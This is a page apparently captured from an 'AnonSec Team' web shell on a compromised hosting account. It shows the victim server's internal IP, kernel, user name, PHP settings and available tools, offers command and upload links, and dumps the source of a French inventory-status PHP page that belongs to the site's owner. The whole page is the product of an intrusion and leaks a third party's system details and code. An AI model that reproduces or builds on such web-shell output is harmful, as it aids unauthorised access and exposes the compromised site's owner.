AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/e_avoir.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;



// echo "<pre>" ;
// print_r($_GET) ;
// echo "<pre>" ;

   $resu = dbi_query("SELECT * FROM client where 1")  ;
   // $select = "SELECT * FROM `client`";
   // $resu ,= mysqli_query($conn,$select);
   while($cus = dbi_fetch_row($resu)) {
   $customerList[] = $cus['client_id'];
   }

   // print_r($customerList) ;

// $q= dbi_query("SELECT *  FROM  produits") ;




?>




<!DOCTYPE html>
<html>

<head>

<?php include('header.php'); ?>


</head>
<body class="hold-transition sidebar-mini">



<!-- Site wrapper -->
<div class="wrapper">

<!-- TOP MENU -->


<nav class="main-header navbar navbar-expand navbar-white navbar-light">
													<ul class="navbar-nav">
															<li class="nav-item">
																	<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
															</li>
															
															 <td>
                        &nbsp  <button type="button"  class="btn btn-block btn-primary"  >Total Commande : <div id='TOTALCAHT'> <?php echo number_format( $CAHT, 2, ',', ' ').'<sup style="font-size: 20px">€ </sup>';?> </div></button>
                        </td>

															<li>
															</li>
													</ul>
												</nav>


<!-- BARRE DE NAVIGATION -->


<?php include('menu.php'); ?>









 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
												<div class="content-header">
												  <div class="container-fluid">
													<div class="row mb-2">
																			<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
																			  <div class="modal-dialog modal-lg">
																				<div class="modal-content data">
																					<div id="fetch" >
																					</div>

																					</div>
																				</div>
																			</div>
													</div><!-- /.row -->
												  </div>
												</div>
												<!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->

 <script language="Javascript">
   function GetIdBureau()
   {
		var idbursel="";
  	  idbureausel = document.bureau_form.client_bureau.value ;
	if( idbureausel > 0 || idbureausel=="INDEFINI" )
	  window.location = "etat_stock.php?idbureausel="+idbureausel;
	  	else
	window.location = "etat_stock.php";
   }
</script>
				<section class="content">
					<div class="row">
						<div class="col-12">
							<div class="card card-primary card-outline">
															<div class="card-header">
																<div class="row">
																	<div class="col-sm-11">
																		<h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> Etat du stock  </h3>
																	</div>
																</div>
															</div>
									<div class="card-body">



									      <div class="col-md-12">



<table >
<form id="bureau_form" name="bureau_form" method="POST" action="a.php">

		<tr>

				<td align="left" valign="top" class="td_listing0">
				<select class="form-control select2" style="width: 100%;" id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
	            <option value="8" <?php if($_GET['idbureausel'] == 8) echo "selected"?> >   PARIS </option>
				 <option value="9" <?php if($_GET['idbureausel'] == 9) echo "selected"?> >   TOULON </option>

				</select>
				  </td>
			</tr>
</form>
</table>

</div>



										<div class="onglet_dotted">
											<div style="width:100%; float:left; vertical-align:top" class="header_ray">
												<div id="tab">
													<div class="box-body">
														  <table id="example1" class="table table-bordered table-striped">
															<thead>
															<tr>
															 <th>Produit </th>

															  <th>Quantit&#233;</th>
                                <th>Quantit&#233; minimale</th>
															  <th>Quantit&#233; optimale</th>
															  <th>Différence</th>
															  <th>Commande</th>
                                <th>Cout</th>


															</tr>
															</thead>
															<tbody>
														  <?php
														  $CAHT = 0 ; 
														   while($row = dbi_fetch_row($q))
														   {
															    $cout = 0 ; 

															   if( $_GET['idbureausel'] == 9)
															   {
																   $whero = "and local = 'TOULON' " ;
															   }
															   else
															   {
																	$whero = "and local = 'PARIS' " ;
															   }

															   	 if( $_GET['idbureausel'] == 9)
															   {
																   $wheroo = "and Lieu_de_stockage_ID = 21 " ;
															   }
															   else
															   {
																	$wheroo = "and Lieu_de_stockage_ID = 20 " ;
															   }

															   list($qttR) =  dbi_fetch_row(dbi_query( "SELECT SUM(p.quantity) FROM  check_in c, product_command p where c.id = p.check_in_id  $whero  and 	product_Id = ".$row['Produit_ID'])) ;

														   list($qttL) =  dbi_fetch_row(dbi_query( "SELECT SUM(p.quantity) FROM  check_out c, check_out_produit p where c.id = p.check_out_id $whero and 	product_Id = ".$row['Produit_ID']))  ;
														      list($quantite) =  dbi_fetch_row(dbi_query("SELECT quantite  FROM `stock_optimal` WHERE `Produit_ID` = ".$row['Produit_ID']."  $wheroo")) ;
														      list($quantite_minimale) =  dbi_fetch_row(dbi_query("SELECT quantite_minimale  FROM `stock_optimal` WHERE `Produit_ID` = ".$row['Produit_ID']."  $wheroo")) ;
														
														
														
														$etat = $qttR - $qttL ;

														$diff = $etat - $quantite ;



														$commande =  "" ;

														if( $diff < 0){

															$commande =  abs($diff)/ $row['Produit_conditionnement'] ;

															$chaine = "<span class='badge badge-pill badge-danger'> $diff</span>" ;
														}else{
															$chaine = $diff ;
														}


    //si la quantité en stock est inférieure à la quantité minimale, il faut entourer en rouge le nombre qui s’affiche dans « quantité »
	
	                                      // $diff_quMin_qunStok = $etat - 
                                                       if( $etat < $quantite_minimale ){
														   
														   // echo "ssssssssss <br/>" ; 

															$etat = "<span class='badge badge-pill badge-danger'> $etat</span>" ;
														}
                                                        
														
														$cout =  $row['Produit_Prix']*$row['Produit_conditionnement']* $commande ;
														
														$CAHT = $CAHT + $cout ; 
														?>


																<tr>


															  <td><?php echo $row['Produit_Designation'] ;  ?></td>

															   <td><?php echo $etat;  ?></td>
                                                            <td><?php echo $quantite_minimale;  ?></td>

															   <td><?php echo $quantite;  ?></td>
															   <td><?php echo $chaine;  ?></td>
															   <td><?php echo ceil($commande);  ?></td>
															   
                                                             <td><?php echo $cout." €";  ?></td>



													<?

														   }
													?>





															</tfoot>
														  </table><!-- /.table -->
													</div><!-- /.box-body -->
												</div><!-- /.tab -->
											</div><!-- /.header_ray -->
										</div><!-- /.onglet_dotted -->
								    </div><!-- /.card-body -->
							    </div><!-- /.card card-primary card-outline -->
							</div> <!-- /.col-12 -->
						</div>  <!-- /.row -->
				</section> <!-- /.section -->




	</div>
          <!-- /.card -->
        








  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2019 MCPRO</strong>
  </footer>
<!-- FIN DU PIED DE PAGE -->

<!-- NE PAS TOUCHER CI-DESSOUS -->
  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>






<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true, "lengthChange": false, "autoWidth": false, "paging": false,
      "buttons": ["copy", "csv", "excel", "pdf", "print"]
    }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
    $('#example2').DataTable({
      "paging": false,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>


<script>
  $(function () {
$("#allcheck").click(function(){
    $('input:checkbox').not(this).prop('checked', this.checked);
});
	 var TOTALCA ="<?php echo number_format( $CATTC, 2, ',', ' ').'<sup> € </sup>';?>";
	$('#TOTALCA').html(TOTALCA);
	 var TOTALCAHT ="<?php echo number_format( $CAHT, 2, ',', ' ').'<sup> € </sup>';?>";
	$('#TOTALCAHT').html(TOTALCAHT);
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({
      timePicker: true,
      timePickerIncrement: 30,
      locale: {
        format: 'MM/DD/YYYY hh:mm A'
      }
    })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Timepicker
    $('#timepicker').datetimepicker({
      format: 'LT'
    })

    //Bootstrap Duallistbox
    $('.duallistbox').bootstrapDualListbox()

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    $('.my-colorpicker2').on('colorpickerChange', function(event) {
      $('.my-colorpicker2 .fa-square').css('color', event.color.toString());
    });

    $("input[data-bootstrap-switch]").each(function(){
      $(this).bootstrapSwitch('state', $(this).prop('checked'));
    });

  })
</script>



<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>

<script type="text/javascript">
$(document).ready(function () {
  bsCustomFileInput.init();
});
</script>

</body>
</html>

AnonSec - 2021